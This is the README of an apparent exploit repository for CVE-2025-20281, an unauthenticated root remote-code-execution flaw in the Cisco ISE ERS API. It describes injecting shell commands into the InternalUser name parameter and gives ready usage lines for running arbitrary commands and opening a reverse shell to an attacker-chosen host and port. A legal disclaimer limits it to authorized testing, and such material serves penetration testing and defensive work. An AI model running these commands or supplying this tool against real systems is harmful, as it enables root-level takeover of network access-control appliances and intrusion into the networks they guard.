
Unauthenticated Remote Code Execution exploit for CVE-2025-20281 in Cisco ISE ERS API. Execute commands or launch reverse shells as root — no authentication required.
This repository contains a Python 3 proof-of-concept exploit for CVE-2025-20281, a critical vulnerability in Cisco Identity Services Engine (ISE) that allows unauthenticated remote code execution (RCE) as root via the ERS API.
The Cisco ISE ERS
/ers/sdk#_endpoint fails to validate authentication when processing user creation requests.
By injecting shell commands into thenameparameter of theInternalUserobject, attackers can achieve command execution as root.
--cmd)--whoami--reverse)python3 CVE-2025-20281.py TARGET [--whoami | --cmd "id" | --reverse LHOST LPORT]
Test command:
python3 CVE-2025-20281.py 192.168.1.10 --whoami
Run custom command:
python3 CVE-2025-20281.py 192.168.1.10 --cmd "id && hostname"
Reverse shell:
python3 CVE-2025-20281.py 192.168.1.10 --reverse 10.10.14.99 4444
⚠️ Legal Disclaimer
This code is provided for educational and authorized testing purposes only. Do not use this software against networks or systems you do not own or have permission to test.
Vulnerability: Disclosed via Cisco advisory
PoC Refactor: illdeed